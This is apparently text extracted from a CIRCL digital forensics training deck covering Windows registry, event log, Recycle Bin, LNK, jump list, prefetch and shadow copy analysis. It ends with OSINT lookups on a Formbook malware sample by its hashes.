            Login Count     : 80

    Group Name    : Administrators [7]
    LastWrite     : 2008-05-14 05:35:35Z
      S-1-5-21-484763869-796845957-839522115-1006
      S-1-5-21-484763869-796845957-839522115-1008
      S-1-5-21-484763869-796845957-839522115-1007
      S-1-5-21-484763869-796845957-839522115-1005
      S-1-5-21-484763869-796845957-839522115-1003
      S-1-5-21-484763869-796845957-839522115-500
      S-1-5-21-484763869-796845957-839522115-1004


less out/security.txt
```

1.6 General information: system, software

```
regripper -p winver -r software

    ProductName                 Microsoft Windows XP
    CSDVersion                  Service Pack 3
    BuildLab                    2600.xpsp.080413-2111
    RegisteredOrganization
    RegisteredOwner             Jean User
    InstallDate                 2008-05-13 21:29:32Z


regripper -p networkcards -r software

    Description                                     Key LastWrite time
    VMware Accelerated AMD PCNet Adapter            2008-05-14 05:31:26Z


regripper -p uninstall -r software

    2008-07-19 23:32:23Z
      VMware Tools v.3.2.0.1288
    .....


regripper -p ips -r system

    IPAddress           Domain
    192.168.117.129     localdomain
```

1.6 General information: system, software

```
regripper -p profilelist -r software

    Path      : %SystemDrive%\Documents and Settings\Jean
    SID       : S-1-5-21-484763869-796845957-839522115-1004
    LastWrite : 2008-07-21 01:18:00Z

    Path      : %SystemDrive%\Documents and Settings\Devon
    SID       : S-1-5-21-484763869-796845957-839522115-1007
    LastWrite : 2008-07-12 06:04:40Z

    Path      : %SystemDrive%\Documents and Settings\Administrator
    SID       : S-1-5-21-484763869-796845957-839522115-500
    LastWrite : 2008-07-21 01:31:01Z


regripper -p shutdown -r system

    ControlSet001\Control\Windows key, ShutdownTime value
    LastWrite time: 2008-07-21 01:31:32Z
    ShutdownTime  : 2008-07-21 01:31:32Z


regripper -p timezone -r system

    ControlSet001\Control\TimeZoneInformation
    LastWrite Time 2008-05-14 06:55:57Z
      DaylightName   -> GMT Daylight Time
```

1.7 Tracing user activity

MRU - Most Recently Used

Open/Save As dialog box

```
regripper -p comdlg32 -r NTUSER.DAT
```

Recent Docs opened via Win. Explorer

```
regripper -p recentdocs -r NTUSER.DAT
```

ShellBags (Win7+)

Properties of folders

```
regripper -p shellbags -r UsrClass.dat
```

Program execution

UserAssist: GUI based launched

```
regripper -p userassist -r NTUSER.DAT
```

ShimCache: Track compatibility issues

```
regripper -p shimcache -r system
```

1.7 Tracing user activity

USB attached devices

USBStor: Attached devices

```
less /media/case1/WINDOWS/setupapi.log
regripper -p usbstor -r system
```

USBStor: Vendor & Product ID

```
regripper -p usb -r system
```

MountedDevices

```
regripper -p mountdev -r system
```

MountPoints

```
regripper -p mp2 -r NTUSER.DAT
```

SANS Posters:

https://www.sans.org/posters/windows-forensic-analysis/
https://www.sans.org/posters/hunt-evil/

CIRCL
FORENSICS Training

2. Windows Event Logs

2.1 Inroduction

- Up to Windows XP
  - Mainly 3 `.evt` files:

    Security: `secevent.evt`
    System: `sysevent.evt`
    Application: `appevent.evt`
    ... maybe some server service specific
  - Location: `/Windows/System32/config/`
  - Binary Event Log file format

- Beginning with Vista
  - Many `.evtx` files:

    `Security.evtx`
    `System.evtx`
    `Application.evtx`
    → 120 files ++
  - Location: `/Windows/System32/winevt/Logs/`
  - New binary XML format

2.1 Inroduction

- Advantage
  - Full fledged logging
  - Logging important events: E.g. Logon Success, ...
  - Detailed information

- Disadvantage
  - Limited period of time
  - Importand events not logged by default: E.g. Logon Fail
  - Manny events, hard to find related information

- Always interesting
  - Logon / Logoff
  - System boot
  - Services started
  - Hardware (dis)connected

2.2 Example: Event Viewer

Event Viewer

File Action View Help

- Event Viewer (Local)
  - Custom Views
  - Windows Logs
    - Application
    - Security
    - Setup
    - System
    - Forwarded Events
  - Applications and Services Logs
    - Hardware Events
    - Internet Explorer
    - Key Management Service
    - Media Center
    - Microsoft
      - Windows
        - API-Tracing
        - AppID
        - Application-Experienc
        - AppLocker
        - Audio
        - Authentication User Ir
        - Backup
          - Operational
        - Biometrics
        - Bits-Client
          - Analytic
          - Operational
        - Bluetooth-MTPEnum
        - BranchCache

Security Number of events: 814 (!) New events available

Keywords	Date and Time	Source	Event ID	Task Cate...
Audit S...	16/04/2020 18:17:28	Microsoft...	4672	Special Lo...
Audit S...	16/04/2020 18:17:28	Microsoft...	4624	Logon
Audit S...	16/04/2020 18:17:28	Microsoft...	4624	Logon
Audit S...	16/04/2020 18:17:28	Microsoft...	4648	Logon
Audit S...	16/04/2020 18:16:57	Microsoft...	4624	Logon
Audit S...	16/04/2020 18:16:55	Microsoft...	5024	Other Syst

Event 4624, Microsoft Windows security auditing.

General Details

An account was successfully logged on.

Subject:
- Security ID: SYSTEM
- Account Name: WIN7WS$
- Account Domain: WORKGROUP
- Logon ID: 0x3e7

Logon Type: 2

New Logon:
- Security ID: Win7WS\John
- Account Name: John
- Account Domain: Win7WS
- Logon ID: 0x18333
- Logon GUID: {00000000-0000-0000-0000-000000000000}

Process Information:
- Process ID: 0x18c

2.3 Get support

- Review logging policies

```
$ rip.pl -r SECURITY -p auditpol
.....
ystem:Other System Events                                    S/F
Logon/Logoff:Logon                                            S
Logon/Logoff:Logoff                                           S
Logon/Logoff:Account Lockout                                  S
Logon/Logoff:IPsec Main Mode                                  N
Logon/Logoff:IPsec Quick Mode                                 S
Logon/Logoff:IPsec Extended Mode                              N
Logon/Logoff:Special Logon                                    N
Logon/Logoff:Other Logon/Logoff Events                        N
Logon/Logoff:Network Policy Server                            S/F
Object Access:File System                                     N
.....
```

- Online:
  - Microsoft TechNet
  - `https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/`
  - `http://eventid.net/`

2.4 Extracting and exploring event logs: Exercise

Extracting event logs

-

2.4 Extracting and exploring event logs: Exercise

Extracting event logs

```
mkdir evtx
mkdir evtx/out

mmls nps-2008-jean.raw
sudo mount -o ro,offset=$((512*63)) nps-2008-jean.raw /media/sansforensics/casenps/

cp /media/sansforensics/casenps/WINDOWS/system32/config/AppEvent.Evt evtx/
cp /media/sansforensics/casenps/WINDOWS/system32/config/SecEvent.Evt evtx/
cp /media/sansforensics/casenps/WINDOWS/system32/config/SysEvent.Evt evtx/
ls -lh evtx/
```

Exploring event logs

-

2.4 Extracting and exploring event logs: Exercise

Extracting event logs

```
mkdir evtx
mkdir evtx/out

mmls image.raw
sudo mount=o ro,offset=$((512*63)) image.raw/media/case1/

cp /media/case1/WINDOWS/system32/config/AppEvent.Evt evtx/
cp /media/case1/WINDOWS/system32/config/SecEvent.Evt evtx/
cp /media/case1/WINDOWS/system32/config/SysEvent.Evt evtx/
ls -lh evtx/
```

Exploring event logs

```
sudo apt install libevt-utils

evtinfo evtx/AppEvent.Evt
evtinfo evtx/SecEvent.Evt
evtinfo evtx/SysEvent.Evt

evtexport AppEvent.Evt | less
evtexport SysEvent.Evt | less
```

2.4 Extracting and exploring event logs

https://eventlogxp.com/

Untitled.elx - Event Log Explorer

Tree View Event Advanced Window Help

<Load filter>

Security on WIN8-SIFT

Showing 28541 event(s)

Type	Date	Time	Event	Source	Category	User	Comp
Audit Success	4/17/2020	6:18:17 AM	4624	Microsoft-Windows-Se	Logon	N/A	Win8
Audit Success	4/17/2020	6:18:17 AM	4648	Microsoft-Windows-Se	Logon	N/A	Win8
Audit Success	4/17/2020	6:18:04 AM	4672	Microsoft-Windows-Se	Special Logon	N/A	Win8
Audit Success	4/17/2020	6:18:04 AM	4624	Microsoft-Windows-Se	Logon	N/A	Win8
Audit Success	4/17/2020	6:06:49 AM	4672	Microsoft-Windows-Se	Special Logon	N/A	Win8
Audit Success	4/17/2020	6:06:49 AM	4624	Microsoft-Windows-Se	Logon	N/A	Win8
Audit Success	4/17/2020	6:06:20 AM	4672	Microsoft-Windows-Se	Special Logon	N/A	Win8

Description

```
        Account Domain:         DFIR
        Logon ID:       000003E7

Logon Type:                     5

Impersonation Level:            Impersonation

New Logon:
        Security ID:            S-1-5-18
        Account Name:           SYSTEM
        Account Domain:         NT AUTHORITY
        Logon ID:       000003E7
        Logon GUID:             {00000000-0000-0000-0000-000000000000}

Process Information:
        Process ID:             00000234
        Process Name:           C:\Windows\System32\services.exe

Network Information:
        Workstation Name: -
        Source Network Address:         -
        Source Port:            -

Detailed Authentication Information:
        Logon Process:          Advapi
        Authentication Package:         Negotiate
        Transited Services: -
        Package Name (NTLM only):       -
        Key Length:             0
```

2.5 Example .evtx

- Logon Success

```
$ evtxexport Security.evtx | less
.....
Event number          : 668
Written time          : Apr 15, 2019 12:58:33.650031000 UTC
Event level           : Information (0)
Computer name         : Win7WS
Source name           : Microsoft-Windows-Security-Auditing
Event identifier      : 0x00001210 (4624)
Number of strings     : 20
String: 1             : S-1-5-18
String: 2             : WIN7WS$
String: 3             : WORKGROUP
String: 4             : 0x00000000000003e7
String: 5             : S-1-5-21-3408732720-2018246097-660081352-1000
String: 6             : John
String: 7             : Win7WS
String: 9             : 2
.....
String: 17            : 0x0000018c
String: 18            : C:\Windows\System32\winlogon.exe
String: 19            : 127.0.0.1
```

- Logon Fail

```
$ evtxexport Security.evtx | grep 4625
```

2.5 Example `.evtx`

Monterey Technology Group, ... (US) https://www.ultimatewindowssecurity.com/se

This is a valuable piece of information as it tells you HOW the user just logged on:

Logon Type	Description
2	Interactive (logon at keyboard and screen of system)
3	Network (i.e. connection to shared folder on this computer from elsewhere on network)
4	Batch (i.e. scheduled task)
5	Service (Service startup)
7	Unlock (i.e. unnattended workstation with password protected screen saver)
8	NetworkCleartext (Logon with credentials sent in the clear text. Most often indicates a logon to IIS with "basic authentication") See this article for more information.
9	NewCredentials such as with RunAs or mapping a network drive with alternate credentials. This logon type does not seem to show up in any events. If you want to track users attempting to logon with alternate credentials see 4648. MS says "A caller cloned its current token and specified new credentials for outbound connections. The new logon session has the same local identity, but uses different credentials for other network connections."
10	RemoteInteractive (Terminal Services, Remote Desktop or Remote Assistance)
11	CachedInteractive (logon with cached domain credentials such as when logging on to a laptop when away from the network)

Impersonation Level: (Win2012 and later)

From MSDN

Anonymous	Anonymous COM impersonation level that hides the identity of the caller. Calls to WMI may fail with this impersonation level.

2.6 Other log files

- `/Windows/setuplog.txt`
  - Untill WinXP, when Windows is installed
- `/Windows//Debug/netsetup.log`
  - Untill WinXP, when Windows is installed
- `/Windows/setupact.log`
  - Graphical part of setup process

```
2019-04-05 11:39:56, Info  CBS Starting the TrustedInstaller main loop.
2019-04-05 11:39:56, Info  CBS TrustedInstaller service starts successfully.
2019-04-05 11:39:56, Info  CBS Setup in progress, aborting startup processing check
2019-04-05 11:39:56, Info  CBS Startup processing thread terminated normally
```

- `/Windows/setupapi.log`

```
/Windows/inf/setupapi.dev.log
/Windows/inf/setupapi.app.log
/Windows/inf/setupapi.offline.log
```

- `/Windows/Tasks/SCHEDLGU.TXT`
  - Task Scheduler Log

2.7 Exercise: Automated tools

```
Example: Chainsaw
=================

wget https://github.com/WithSecureLabs/chainsaw/releases/
            download/v2.10.1/chainsaw_all_platforms+rules.zip

7z x chainsaw_all_platforms+rules.zip
cd chainsaw
chmod +x ./chainsaw_x86_64-unknown-linux-gnu
git clone https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES.git

./chainsaw_x86_64-unknown-linux-gnu hunt EVTX-ATTACK-SAMPLES/ -s sigma/
    --mapping mappings/sigma-event-logs-all.yml | less


[+] Loading detection rules from: sigma/
[!] Loaded 3336 detection rules (490 not loaded)
[+] Loading forensic artefacts from: EVTX-ATTACK-SAMPLES/Command
    and Control, 2 (extensions: .evt, .evtx)


Challenge: Hayabusa
===================

https://github.com/Yamato-Security/hayabusa
```

CIRCL
FORENSICS Training

3. Other Windows Artifacts

3.1 Recycle Bin - User support to undelete

- Files move to Recycle Bin:
  - Moved by mouse
  - Right click: `Delete`
- Not move to Recycle Bin:
  - Right click: `Delete + SHIFT`
  - Command line: `del`
  - Files on network shares
- NukeOnDelete
  - `HKEY_USERS/_UUID_/Software/Microsoft/Windows/CurrentVersion/Explorer/BitBucket/Volume/{_Volume ID_}/NukeOnDelete`

3.1 Recycle Bin - Life-Investigate

- Play script: `TextFile.txt`
  - 2019-04-30 17:31:57 UTC+2: Born
  - 2019-04-30 17:34:44 UTC+2: Content Modified
  - 2019-04-30 17:35:32 UTC+2: Deleted

- Analyze Recycle.Bin:

3.1 Recycle Bin - Forensics

- Play script: `TextFile.txt`
  - 2019-04-30 17:31:57 UTC+2: Born
  - 2019-04-30 17:34:44 UTC+2: Content Modified
  - 2019-04-30 17:35:32 UTC+2: Deleted

- Analyze `Recycle.Bin` directory:

```
/$Recycle.Bin/S-1-5-21-3408732720-2018246097-660081352-1000/
        129 Apr  5 11:46  desktop.ini
        544 Apr 30 17:35 '$IOMHI9A.txt'
        320 Apr 30 17:34 '$ROMHI9A.txt'


strings -el \$IOMHI9A.txt
        C:\Users\John\Documents\recycleTest\TestFile.txt


strings \$ROMHI9A.txt
                Test File
                =========
        This is a test file. It is just created to test Forensic
        Artifacts for the 'Recycle Bin'.
        .....
```

3.1 Recycle Bin - Forensics

- Play script: `TextFile.txt`
  - 2019-04-30 17:31:57 UTC+2: Born
  - 2019-04-30 17:34:44 UTC+2: Content Modified
  - 2019-04-30 17:35:32 UTC+2: Deleted

- File system timeline `Recycle.Bin` directory:

```
Tue Apr 30 2019 17:31:57
     320 ...b   47164-128-1 /$Recycle.Bin/S-1-5-21- ..... -1000/$ROMHI9A.txt


Tue Apr 30 2019 17:34:44
     320 ma..   47164-128-1 /$Recycle.Bin/S-1-5-21- ..... -1000/$ROMHI9A.txt


Tue Apr 30 2019 17:35:32
     544 macb   44155-128-1 /$Recycle.Bin/S-1-5-21- ..... -1000/$IOMHI9A.txt
      48 mac.   47022-144-1 /Users/John/Documents/recycleTest
     320 ..c.   47164-128-1 /$Recycle.Bin/S-1-5-21- ..... -1000/$ROMHI9A.txt
     376 mac.    9632-144-1 /$Recycle.Bin/S-1-5-21- ..... -1000
```

3.1 Recycle Bin - Filename & Extension

Administrator: C:\Windows\System32\cmd.exe

```
C:\$Recycle.Bin\S-1-5-21-3408732720-2018246097-660081352-1000>
C:\$Recycle.Bin\S-1-5-21-3408732720-2018246097-660081352-1000>
C:\$Recycle.Bin\S-1-5-21-3408732720-2018246097-660081352-1000>
C:\$Recycle.Bin\S-1-5-21-3408732720-2018246097-660081352-1000>
C:\$Recycle.Bin\S-1-5-21-3408732720-2018246097-660081352-1000>dir /A
 Volume in drive C has no label.
 Volume Serial Number is EC54-506F

 Directory of C:\$Recycle.Bin\S-1-5-21-3408732720-2018246097-660081352-1000

04/05/2020  14:33    <DIR>          .
04/05/2020  14:33    <DIR>          ..
04/05/2020  14:33               544 $IZEFW2A.txt
04/05/2020  12:50                 8 $RZEFW2A.txt
05/04/2019  11:46               129 desktop.ini
               3 File(s)          681 bytes
               2 Dir(s)   2 712 735 744 bytes free

C:\$Recycle.Bin\S-1-5-21-3408732720-2018246097-660081352-1000>dir /A
 Volume in drive C has no label.
 Volume Serial Number is EC54-506F

 Directory of C:\$Recycle.Bin\S-1-5-21-3408732720-2018246097-660081352-1000

04/05/2020  14:35    <DIR>          .
04/05/2020  14:35    <DIR>          ..
04/05/2020  14:35               544 $IYY7Z0I.png
10/04/2019  11:00           166 507 $RYY7Z0I.png
05/04/2019  11:46               129 desktop.ini
               3 File(s)      167 180 bytes
               2 Dir(s)   2 712 735 744 bytes free

C:\$Recycle.Bin\S-1-5-21-3408732720-2018246097-660081352-1000>type $IYY7Z0I.png
☺       kè♥     @òvÉ►"í☺C : \ U s e r s \ J o h n \ P i c t u r e s \ h 4 k \ s
i t e - l o g o . p n g

C:\$Recycle.Bin\S-1-5-21-3408732720-2018246097-660081352-1000>
```

John ▸ My Pictures ▸ h4k

Search h4k

folder

This folder is empty.

Recycle Bin

Search Recycle Bin

Organize ▾ Empty the Recycle Bin »

- Templates
- Computer
- Local Disk (C:)
- Network
- VBOXSVR
- WIN7WS
- Control Panel
- Recycle Bin

site-logo.png
PNG image
162 KB

1 item

0 items

3.2 LNK Files

- Link or shortcut to files, applications, resources
- User activity: Files access
  - Local
  - Network shares
  - Appached devices
- LNK file remain after target file is deleted

```
Thu May 02 2019 14:54:02
     280 ...b        43701-144-1 /Users/John/Documents/LNK


Thu May 02 2019 14:54:28
      66 macb        43702-128-1 /Users/John/Documents/LNK/Test.txt


    1573 macb        43922-128-4 /Users/John/AppData/Roaming/Microsoft/
                                     Windows/Recent/LNK.lnk


    2779 macb        43716-128-4 /Users/John/AppData/Roaming/Microsoft/
                                     Windows/Recent/Test.txt.lnk
```

3.2 LNK Files

- Information inside LNK files
  - Target file MAC times
  - Target file size
  - Target file path
  - Volume information

```
exiftool Test.txt.lnk
        ...
        Create Date          : 2019:05:02 14:54:28+02:00
        Access Date          : 2019:05:02 14:54:28+02:00
        Modify Date          : 2019:05:02 14:54:28+02:00
        Target File Size     : 66
        Icon Index           : (none)
        Run Window           : Normal
        Hot Key              : (none)
        Drive Type           : Fixed Disk
        Volume Label         :
        Local Base Path      : C:\Users\
        Net Name             : 8
        Net Provider Type    : Unknown (0x20000)
        Relative Path        : ..\..\..\..\..\Documents\Test\Test.txt
        Working Directory    : C:\Users\John\Documents\Test
        Machine ID           : john-pc
```

3.2 LNK Files: Exercise

Extract and investigate LNK file for document: 'm57biz.xls'

Prepration work:

-

3.2 LNK Files: Exercise

Extract and investigate LNK file for document: 'm57biz.xls'

Prepration work:

```
sudo mount -o ro,offset=$((512*63)) image.raw /media/case1
mkdir lnk
```

Copy LNK file:

-

3.2 LNK Files: Exercise

Extract and investigate LNK file for document: 'm57biz.xls'

Prepration work:

```
sudo mount -o ro,offset=$((512*63)) image.raw /media/case1
mkdir lnk
```

Copy LNK file:

```
cp /media/case1/Documents\ and\ Settings/Jean/Recent/m57biz.lnk lnk/
```

Investigate with exiftool:

-

3.2 LNK Files: Exercise

Extract and investigate LNK file for document: 'm57biz.xls'

Prepration work:

```
sudo mount -o ro,offset=$((512*63)) image.raw /media/case1
mkdir lnk
```

Copy LNK file:

```
cp /media/case1/Documents\ and\ Settings/Jean/Recent/m57biz.lnk lnk/
```

Investigate with exiftool:

```
exiftool lnk/m57biz.lnk
    .....
    File Attributes                 : Archive
    Create Date                     : 2008:07:20 01:28:03+00:00
    Access Date                     : 2008:07:20 01:28:03+00:00
    Modify Date                     : 2008:07:20 01:28:03+00:00
    Target File Size                : 291840
    Drive Type                      : Fixed Disk
    Local Base Path                 : C:\Documents and Settings\Jean\Desktop\m57biz.xls
    Machine ID                      : jean-13fbf038a3
```

3.3 Jump Lists

- Introduced with Windows 7
- Similar `Recent` folder
- Recently opened documents / application
- Makes them accessible at Windows main menu

`AppData/Roaming/Microsoft/Windows/Recent/AutomaticDestinations`

`AppData/Roaming/Microsoft/Windows/Recent/CustomDestinations`

3.3 Jump Lists

- File names start with 16 hex characters → JumpList ID
- File names end with `.xxxDestinations-ms`

```
C:> dir \Users\John\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations

04/05/2020  12:50            33 792 1b4dd67f29cb1962.automaticDestinations-ms
14/06/2019  16:43             4 608 28c8b86deab549a1.automaticDestinations-ms
10/04/2019  14:32            29 696 6824f4a902c78fbd.automaticDestinations-ms
10/04/2020  14:12             9 216 7e4dca80246863e3.automaticDestinations-ms
04/05/2020  12:50             8 704 918e0ecb43d17e23.automaticDestinations-ms
10/04/2019  14:30             3 072 b74736c2bd8cc8a5.automaticDestinations-ms
09/04/2019  14:43             6 144 de48a32edcbe79e4.automaticDestinations-ms
```

- Each Hex value correspond to an fixed application
- `918e0ecb43d17e23 = Notepad.exe`

→ https://github.com/EricZimmerman/JumpList/blob/master/JumpList/Resources/AppIDs.txt

3.3 Jump Lists

- Exercise: Identify applications

```
cd JumpLists/AutomaticDestinations/
ls -l

    1b4dd67f29cb1962.automaticDestinations-ms ->
    28c8b86deab549a1.automaticDestinations-ms ->
    6824f4a902c78fbd.automaticDestinations-ms ->
    7e4dca80246863e3.automaticDestinations-ms ->
    918e0ecb43d17e23.automaticDestinations-ms ->
    b74736c2bd8cc8a5.automaticDestinations-ms ->
    de48a32edcbe79e4.automaticDestinations-ms ->
```

- Exercise: Analyze the Notepad Jump List file

–

3.3 Jump Lists

- Exercise: Identify applications

```
cd JumpLists/AutomaticDestinations/
ll

    1b4dd67f29cb1962.automaticDestinations-ms --> Windows Explorer
    28c8b86deab549a1.automaticDestinations-ms --> Internet Explorer 8
    6824f4a902c78fbd.automaticDestinations-ms --> Firefox 64.x
    7e4dca80246863e3.automaticDestinations-ms --> Control Panel
    918e0ecb43d17e23.automaticDestinations-ms --> Notepad (32-bit)
    b74736c2bd8cc8a5.automaticDestinations-ms --> WinZip
    de48a32edcbe79e4.automaticDestinations-ms --> Acrobat Reader 15.x
```

- Exercise: Analyze the Notepad Jump List file

–

3.3 Jump Lists

- Exercise: Identify applications

```
cd JumpLists/AutomaticDestinations/
ll

    1b4dd67f29cb1962.automaticDestinations-ms --> Windows Explorer
    28c8b86deab549a1.automaticDestinations-ms --> Internet Explorer 8
    6824f4a902c78fbd.automaticDestinations-ms --> Firefox 64.x
    7e4dca80246863e3.automaticDestinations-ms --> Control Panel
    918e0ecb43d17e23.automaticDestinations-ms --> Notepad (32-bit)
    b74736c2bd8cc8a5.automaticDestinations-ms --> WinZip
    de48a32edcbe79e4.automaticDestinations-ms --> Acrobat Reader 15.x
```

- Exercise: Analyze the Notepad Jump List file

```
7z l 918e0ecb43d17e23.automaticDestinations-ms
        Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------
                    .....         1398         1408  2
                    .....         1368         1408  1
                    .....          436          448  4
                    .....          392          448  3

--> file
--> exiftool
--> strings
7z x 918e0ecb43d17e23.automaticDestinations-ms
strings -el DestList
```

3.4 Prefetch Files

- Application prefetching since XP
  - Monitor an application when it starts
  - Collect information about resources needed
  - Wait 10sec after application started
    → Know where to find the resources
    → Better performance: App launch faster
    → Better user experience

- Forensics value:
  - Proof an application was started
    - Secondary artifact
    - Created by the OS
    - Not deleted by the attacker
  - Even if the application don't exists anymore
  - And more .....

3.4 Prefetch Files

- Example: From file system time line

```
Thu May 02 2019 14:52:40
    179712 .a..       10940-128-3 /Windows/notepad.exe

Thu May 02 2019 14:52:50
        56 mac.       42729-144-6 /Windows/Prefetch
     16280 macb       43700-128-4 /Windows/Prefetch/NOTEPAD.EXE-D8414F97.pf
```

- Elements of the file name at `/Windows/Prefetch`
  - Application name
  - One way hash of path to the application
  - File extension: `.pf`
- Information found inside a Prefetch file:
  - Run count: How often application run
  - Last time executed
  - Application name incl. parameter
  - Path to application and resources

3.4 Prefetch Files

- Parsing a Prefetch file

```
prefetch.py -f NOTEPAD.EXE-D8414F97.pf

        Executable Name: NOTEPAD.EXE
        Run count: 1
        Last Executed: 2019-05-02 12:52:40.339584

        Resources loaded:
        1:      \DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\NTDLL.DLL
        2:      \DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\KERNEL32.DLL
        3:      \DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\APISETSCHEMA.DLL
        4:      \DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\KERNELBASE.DLL
        .....
        .....
```

- Additional benefits like:
  - User folder where the malware got executed
  - Compare Run count of different VSS could
    $\rightarrow$ Behavior of user

3.4 Prefetch Files: Exercise

Extract and investigate the Excel prefetch file

Copy prefetch file:

```
mkdir prefetch
cp /media/sansforensics/casenps/WINDOWS/Prefetch/EXCEL.EXE-1C75F8D6.pf prefetch/
```

Investigate LNK file:

```
strings -el prefetch/EXCEL.EXE-1C75F8D6.pf | less
```

```
pref.pl -f prefetch/EXCEL.EXE-1C75F8D6.pf

    File      : prefetch/EXCEL.EXE-1C75F8D6.pf
    Exe Path  : \DEVICE\HARDDISKVOLUME1\PROGRAM FILES\MICROSOFT OFFICE\OFFICE\EXCEL.EXE
    Last Run  : Sun Jul 20 01:27:40 2008
    Run Count: 2
```

3.5 XP Restore Points

- Backup of:
  - Critical system files
  - Registry partially
  - Local user profiles
  - But NO user data!
- Created automatically:
  - Every 24 hours
  - Windows Update
  - Installation of applications incl. driver
  - Manually
- For user: Useful to recover a broken system
- For analyst:
  - `rp.log`
  - Description of the cause
  - Time stamp
  - State of the system at different times

3.6 VSS - Volume Shadow Copy Service

- Backup Service
  - System files
  - User data files
  - Operates on block level
- On live system
  - Run CMD as administrator

```
>vssadmin list shadows /for=c:/
vssadmin 1.1 — Volume Shadow Copy Service administrative command—line tool
(C) Copyright 2001—2005 Microsoft Corp.

Contents of shadow copy set ID: {33eb3a7b—6d03—4045—aa70—37b714d49c72}
   Contained 1 shadow copies at creation time: 10/04/2019 16:06:30
      Shadow Copy ID: {34d9910b—ac1d—4b10—b282—89dde217d0fb}
         Original Volume: (C:)\\?\Volume{a62c8cd4—5786—11e9—a9fd—806e6f6e6963}\
         Shadow Copy Volume: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
         Originating Machine: Win7WS
         Service Machine: Win7WS
         Provider: 'Microsoft Software Shadow Copy provider 1.0'
         Type: ClientAccessibleWriters
         Attributes: Persistent, Client—accessible, No auto release, Differential,
         Auto recovered
```

3.6 VSS - Configuration

HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/services/VSS

HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/BackupRestore

3.5 VSS - Analysis

Analyze disk image

```
vshadowinfo -o $((512*206848)) 8d34ce.raw

    Volume Shadow Snapshot information:
        Number of stores:        1

    Store: 1
        Identifier               : 237c8de3-5b99-11e9-9925-080027062798
        Shadow copy set ID       : 33eb3a7b-6d03-4045-aa70-37b714d49c72
        Creation time            : Apr 10, 2019 14:06:30.365699200 UTC
        Shadow copy ID           : 34d9910b-ac1d-4b10-b282-89dde217d0fb
        Volume size              : 11 GiB (12777947136 bytes)
        Attribute flags          : 0x0042000d
```

Mounting VSC: A 2 step approach

```
sudo vshadowmount -o $((512*206848)) 8d34ce.raw /mount/vss/

sudo ls -l /mount/vss/
        -r--r--r-- 1 root root 12777947136 Jan  1  1970 vss1

sudo file /mount/vss/vss1
        /mount/vss/vss1: DOS/MBR boot sector, code offset 0x52+2, OEM-ID "NTFS

sudo mount -o ro /mount/vss/vss1 /mnt/
```

CIRCL
FORENSICS Training

4. Basic Malware Analysis

4.1 Introduction

Take care: Self-Infection:

- Keep away from production
- Isolated machines (VMs)
- Network considerations

Exchange of malware via email:

- Password protected archive
- Password: `infected`

5 Phases of analysis

1. OSINT - Open Source Intelligence
2. Automatic Analysis (Sandbox)
3. Static Analysis
4. Dynamic Analysis (Behavioral Analysis)
5. Reverse Engineering

4.2 OSINT - IoCs

- Is the file `Form.exe` malicious?
- What it is doing?

```
    ls -l Form.exe                                                    189952 Form.exe
 md5sum Form.exe                                   a8371cb187d99711691ccbecf8f35657
sha1sum Form.exe                              8dec32121d2f9f876c2b15745196879660 8d3dd5
sha256sum Form.exe 784560f38065089f1c61869f7ebdc58b0115d500e5113e6c09d1b4d885ccb340
```

4.2 OSINT - Malpedia

malpedia

Fraunhofer FKIE

Inventory Statistics Usage ApiVector Login

Quicksearch...

win.formbook (Back to overview)

Formbook

Propose Change

aka: win.xloader

Actor(s): SWEED, Cobalt

VTCollection URLhaus

FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.

References

2024-11-13 · TEHTRIS · TEHTRIS

Cracking Formbook malware: Blind deobfuscation and quick response techniques

Formbook

2024-06-15 · Medium b.magnezi · 0xMrMagnezi

Malware Analysis FormBook

Formbook

2024-04-15 · Positive Technologies · Aleksandr Badaev, Kseniya Naumova

SteganoAmor campaign: TA558 mass-attacking companies and public institutions all around the world

LokiBot 404 Keylogger Agent Tesla CloudEyE Formbook Remcos XWorm

2024-02-28 · Security Intelligence · Golo Mühr, Ole Villadsen

X-Force data reveals top spam trends, campaigns and senior superlatives in 2023

404 Keylogger Agent Tesla Black Basta DarkGate Formbook IcedID Loki Password Stealer (PWS) Pikabot QakBot Remcos

2024-01-24 · Medium shaddy43 · Shayan Ahmed Khan

4.2 OSINT - VirusTotal Details

Activity Summary

Download Artifacts | Full Reports | Help

Behavior Tags

checks-user-input | detect-debug-environment | obfuscated

Dynamic Analysis Sandbox Detections

- The sandbox VMRay flags this file as: MALWARE
- The sandbox C2AE flags this file as: STEALER
- The sandbox CAPE Sandbox flags this file as: MALWARE
- The sandbox Zenbox flags this file as: MALWARE TROJAN

MITRE ATT&CK Tactics and Techniques

+ **Execution** TA0002
− **Persistence** TA0003
  - Hijack Execution Flow T1574
  - DLL Side-Loading T1574.002
    Tries to load missing DLLs
+ **Privilege Escalation** TA0004
+ **Defense Evasion** TA0005
− **Credential Access** TA0006
  - Input Capture T1056
    Creates a DirectInput object (often for capturing keystrokes)
+ **Discovery** TA0007
+ **Collection** TA0009
+ **Command and Control** TA0011

Malware Behavior Catalog Tree

4.2 OSINT - abuse.ch - MalwareBazaar

MalwareBazaar Database

You are browsing the malware sample database of MalwareBazaar. If you would like to contribute malware samples to the corpus, you can do so through either using the web upload or the API.

504	Mirai	843'371
Submissions (past 24 hours)	Most seen malware family (past 24 hours)	Malware samples in corpus

Using the form below, you can search for malware samples by a hash (MD5, SHA256, SHA1), imphash, tlsh hash, ClamAV signature, tag or malware family.

Browse Database

md5:a8371cb187d99711691ccbecf8f35657 Search

Search Syntax ?

Search:

Date (UTC)	SHA256 hash	Type	Signature	Tags	Reporter	DL
2023-03-29 13:07	784560f38065089f1c61...	exe	Formbook	exe FormBook	*Anonymous*	

Showing 1 to 1 of 1 entries

Previous 1 Next

4.2 OSINT - MISPPriv

Tags	type:OSINT x tip:white x MALWARE x
Date	2023-03-29
Threat Level	Medium
Analysis	Ongoing
Distribution	All communities
